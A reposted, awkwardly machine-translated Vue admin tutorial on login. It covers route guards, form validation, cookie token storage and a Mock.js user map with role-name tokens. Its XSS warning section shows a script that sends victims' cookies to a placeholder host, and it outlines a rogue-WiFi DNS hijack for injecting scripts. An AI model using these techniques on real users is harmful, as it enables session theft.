Take you step by step to do vue background management framework - login function

This article is reproduced in: Ape 2048 Website ➭ https://www.mk2048.com/blog/blog.php?id=h2khbkai2j

Series Guide "takes you step by step to do vue backstage management framework" Lesson

github Address: VUE-Framework-WZ
online experience Address: Immediately Experience

"Takes you step by step to do vue backstage management framework" Lesson 1: Introduction Framework
"step by step take you backstage management framework do vue" Lesson: get started using the
"step by step take you backstage management framework do vue" Lesson 3: Log Features

Authentication Overview

Certification also known as "verification", "authentication" refers to some means, to complete the confirmation of the identity of the user. There are many authentication methods, it can be substantially divided into: authentication key based on the identity-based authentication and biological characteristics based authentication public key encryption algorithm.

Login authentication function is a fundamental requirement of project management background, access controls, permissions assigned, these are very common function. In the framework of this part of the work has been done, we look at is how to do, to make improvements in the future on the basis of the framework is of great help.

Passport

Before thinking too are many ways to do the login function, a more reliable method is to use a Node server, using the Node + express + passport technology stack

Passport is a project based Nodejs authentication middleware, support for third-party account login and local login authentication. Passport just to "login authentication" Therefore, the code clean, easy to maintain, can be easily integrated into other applications.

Web applications are generally two forms of login authentication:

  • Login user name and password authentication
  • OAuth authentication landing

Passport can be based on the characteristics of the application, configure different authentication mechanisms.
  Project website: http://passportjs.org/

Passport is very strong, this technology stack is very tricky, but we have a pure front-end framework, need to do a Node server do? Maintenance is obviously adds to our burden

Moreover, contrary to the Unix philosophy of 'simple' principle ---- try to solve the problem in a simple way ---- is 'Unix philosophy' underlying principles . This is the famous KISS (keep it simple, stupid) , meaning 'keep it simple and stupid'. .

Since this is not very good, then use a powerful one-page application to do routing login.

vue-router

If vue-router are not familiar with the students will have to get special treatment, especially after-school greatly the
official document: vue-router

you can use

router.beforeEach

Registered before a global hook:

const router = new VueRouter({ ... })router.beforeEach((to, from, next) => { // ...})

When a trigger navigation, global hook before calling in order of creation. Hooks are analyzed and executed asynchronously, this time navigation has been in waiting until all hooks resolve completely.

Each hook method of three parameters:  

to: Route: 即将要进入的目标 [路由对象]

from: Route: 当前导航正要离开的路由

next: Function: 一定要调用该方法来 resolve 这个钩子。执行效果依赖 next 方法的调用参数。

    next(): 进行管道中的下一个钩子。如果全部钩子执行完了,则导航的状态就是 confirmed (确认的)。

    next(false): 中断当前的导航。如果浏览器的 URL 改变了(可能是用户手动或者浏览器后退按钮),那么 URL 地址会重置到 from路由对应的地址。

    next('/')或者 next({ path: '/' }): 跳转到一个不同的地址。当前的导航被中断,然后进行一个新的导航。

  确保要调用 next 方法,否则钩子就不会被 resolved。

  So way wz framework adopted is to use vue router.beforeEach intercept navigation, and determine whether or not there is permission to log on, select Done to continue to jump or redirect to the login screen.

This tutorial is divided into two parts, part of the login speaking, another part of the verification authority to speak, because the length is too long so the two need to write.

Login process

After the client account and password sent to the server, the server authentication token returned successfully store the user's authority, the distal Cookie with locally determined routing jump (router.beforeEach) whether the token exists token storage, the front end can further token request to the server to obtain userInfo, stores user information (user name, avatar, registration time, etc.) in vuex in.

Access control

Is to determine the routing Jump (router.beforeEach) permission token of routing information and go to (to) page (router meta) permissions configuration matches, and we sidebar is dynamically generated based on rights when the account logs in, does not have access, not displayed (eg guest login can not see the sidebar option editor), so that users only see the sidebar option in the sidebar, and can not directly access that the dual control more secure.

Login screen only two input boxes, because it is not registered to do so no external website functions.

login.vue
login.vue

First look of the login logic interface login.vue.

src/views/login/index.vue
src/views/login/index.vue

Use the form of the form iview,

autoComplete属性是自动填充默认值到输入框里,这里是用户名[email protected],

@keyup.enter.native="handleLogin"属性,当按下enter键时会自动触发handleLogin函数,不需要再点击登录按钮,符合日常登录习惯。
当输入账号密码点击登录按钮会触发handleLogin函数。

src/views/login/index.vue
src/views/login/index.vue

The logic is, data (account password) acquired by the page table form validate the correctness verification, in accordance with the specifications in what we define data attributes.

 data() {
        const validateEmail = (rule, value, callback) => {
          if (!isWscnEmail(value)) {
            //export function isWscnEmail(str) {
            //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i;
            //return reg.test(str.trim());
            //}
            callback(new Error('请输入正确的合法邮箱'));
          } else {
            callback();
          }
        };
        const validatePass = (rule, value, callback) => {
          if (value.length < 6) {
            callback(new Error('密码不能小于6位'));
          } else {
            callback();
          }
        };
        return {
          loginForm: {
            email: '[email protected]',
            password: ''
          },
          loginRules: {
            email: [
                { required: true, trigger: 'blur', validator: validateEmail }
            ],
            password: [
                { required: true, trigger: 'blur', validator: validatePass }
            ]
          },
          loading: false,
          showDialog: false
        }
      },

Account password must be filled in, the password can not be less than six, account must be based on e-mail address wz.com the end, or you can define a more rigorous specification.
Failure to comply with established norms, will not land.

Never trust user input! Never trust user input! Never trust user input!

Unless you want to suffer from XSS attacks .

XSS attacks

If some students do not understand what is XSS attack, then we must hurry to understand.
Below knock blackboard! Draw focus!

XSS is a web application often appear in the computer security vulnerability that allows malicious code into web user to provide to the other pages used by the user. For example the code include HTML code and client-side scripting. XSS vulnerabilities exploited by attackers to bypass access control - such as homologous strategy (same origin policy). This type of vulnerability is caused by hackers used to write more harmful phishing (Phishing) attacks become widely known. For cross-site scripting attack, hackers community consensus is: cross-site scripting attack is a new type of "buffer overflow attacks", but JavaScript is a new "ShellCode".

The focus is on "cross-domain" and "client performs." Some people XSS attacks are divided into three types, namely:

  1. The REFLECTED XSS (reflection-based XSS attacks)
  2. Stored XSS (storage-based XSS attacks)
  3. DOM-based or local XSS (DOM-based XSS attacks or local)

Reflected XSS
Based reflected XSS attack, rely mainly on the site returned from the server script, the client trigger to initiate the implementation of Web attacks.
example:

  1. Imagine you, in Taobao search books, the book can not search when the display name submitted.
  2. In the search box to search for content, fill <script>alert('handsome boy')</script>, click Search.
  3. End of the page currently no filtering the returned data is displayed directly on the page, then it will alert the string out.
  4. And then obtain the address of the user can be constructed of cookies, through the QQ group or spam, to allow others to click on this address:http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

Stored XSS
based XSS attacks store, through the posting with malicious cross-domain scripting / articles, so the malicious script is stored in the server, each person access to the posts / articles will trigger the execution.
example:

  1. Send an article, which contains a malicious script
    a fine day today ah!<script>alert('handsome boy')</script>

  2. The rear end of the article there is no filter, save the contents of the article directly to the database.

  3. While other reading this article, it contains malicious script will be executed.
    PS: Because most of the article is to save the entire HTML content, nor do when the front display filter, it is highly likely this situation.

DOM-based or local XSS
DOM-based XSS attack or locally. Generally provide a free wifi, but any page with free wifi gateway to your access will insert a script or directly back to a phishing page, so that malicious scripts. This direct presence on the page, without going through the server returns is locally based XSS attacks.
example:

  1. It offers a free wifi.
  2. Open a special DNS service, all domain names resolve to our computers, and the Wifi is DHCP-DNS to our computer IP.
  3. Even after the wifi users to open any website, requests will be truncated to us. Let forwarded to the real server based on http header host field.
  4. After receiving the data returned by the server, we can achieve inject web script, and returned to the user.
  5. When the injected script is executed, the user's browser in order to preload the major sites of common script libraries.

So be sure to make a user's input filter. Otherwise someone else to the background are black, the boss does not fire you strange.
When we enter an incorrect account password will automatically verify (input validation done immediately rather than waiting until just click on the login verification), if incorrect will not be able to log on.


If it meets the validation rules, vuex in LoginByEmail triggers

src/store/modules/user.js

import { loginByEmail, logout, getInfo } from 'api/login';

 LoginByEmail({ commit }, userInfo) {
      const email = userInfo.email.trim();
      return new Promise((resolve, reject) => {
        loginByEmail(email, userInfo.password).then(response => {
          const data = response.data;
          console.log(response.data);
          Cookies.set('Admin-Token', response.data.token);
          commit('SET_TOKEN', data.token);
          commit('SET_EMAIL', email);
          resolve();
        }).catch(error => {
          reject(error);
        });
      });
    },

Send email and password to the server to accept the return of data, the token is stored in Cookies, and trigger vuex SET_TOKEN and SET_EMAIL events stored in the global state vuex.
src / api / login.js loginByEmail

export function loginByEmail(email, password) {
  const data = {
    email,
    password
  };
  return fetch({
    url: '/login/loginbyemail',
    method: 'post',
    data
  });
}

Sending the fetch request to the specified URL. Here is the url address of the local server, the project because it is a pure front-end project, so use mock.js.

Mock.js

With this plugin, you can separate the front end of the back-end development.

Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);

In the line of code mock.js intercepts all requests / login / loginbyemail path, process the request using loginAPI.loginByEmail

const userMap = {
  admin: {
    role: ['admin'],
    token: 'admin',
    introduction: '我是超级管理员',
    name: 'Super Admin',
    uid: '001'
  },
  editor: {
    role: ['editor'],
    token: 'editor',
    introduction: '我是编辑',
    name: 'Normal Editor',
    uid: '002'


  },
  developer: {
    role: ['develop'],
    token: 'develop',
    introduction: '我是开发',
    name: '工程师小王',
    uid: '003'
  }
}

export default {
  loginByEmail: config => {
    const { email } = JSON.parse(config.body);
      return userMap[email.split('@')[0]];
  },
  getInfo: config => {
    const { token } = param2Obj(config.url);
    if (userMap[token]) {
      return userMap[token];
    } else {
      return Promise.reject('a');
    }
  },
  logout: () => 'success'
};

We can see the role of loginByEmail account information is to return to the front, for example, a user is an administrator, put the match to return to the admin account information.
When the account information obtained admin, and put it in a cookie stored
Cookies.set ( 'Admin-Token', response.data.token);

As a token to determine whether there is, if there is token, the route continues in login.js jump in, if not, it jumps to the login screen.
src / login.js

router.beforeEach((to, from, next) => {
  NProgress.start() // 开启Progress
  if (store.getters.token) { // 判断是否有token,从vuex中取出
    if (to.path === '/login') {
      next({ path: '/' })
    } else {
      if (store.getters.roles.length === 0) { // 判断当前用户是否已拉取完user_info信息
        store.dispatch('GetInfo').then(res => { // 拉取user_info
          const roles = res.data.role
          store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可访问的路由表
            router.addRoutes(store.getters.addRouters) // 动态添加可访问路由表
            next({ ...to }) // hack方法 确保addRoutes已完成
          })
        }).catch(() => {
          store.dispatch('FedLogOut').then(() => {
            next({ path: '/login' })
          })
        })
      } else {
        // 没有动态改变权限的需求可直接next() 删除下方权限判断 ↓
        if (hasPermission(store.getters.roles, to.meta.role)) {
          next()//
        } else {
          next({ path: '/', query: { noGoBack: true }})
        }
        // 可删 ↑
      }
    }
  } else {
    if (whiteList.indexOf(to.path) !== -1) { // 在免登录白名单,直接进入
      next()
    } else {
      next('/login') // 否则全部重定向到登录页
      NProgress.done() // 在hash模式下 改变手动改变hash 重定向回来 不会触发afterEach 暂时hack方案 ps:history模式下无问题,可删除该行!
    }
  }
})

src/store/modules/user.js

vuex is defined as equivalent to direct Cookies.get (), why separate it? Modular apparently to facilitate future changes to the project.

const user = {
  state: {
    user: '',
    status: '',
    email: '',
    code: '',
    uid: undefined,
    auth_type: '',
    token: Cookies.get('Admin-Token'),
    name: '',
    avatar: '',
    introduction: '',
    roles: [],
    setting: {
      articlePlatform: []
    }
  },

vuex would get the value token of cookies from the inside, so you can go to the next page by verifying the route.

The next tutorial talk about packaging UI components, router, webpack, node command-line tools to build content.
I hope you read this series of tutorials can create their own front-end framework so handy at work.

If you like a start point of encouragement on it.

github Address: VUE-Framework-WZ
online experience Address: Immediately Experience

Guess you like

Origin www.cnblogs.com/jiangshangbulao/p/11783716.html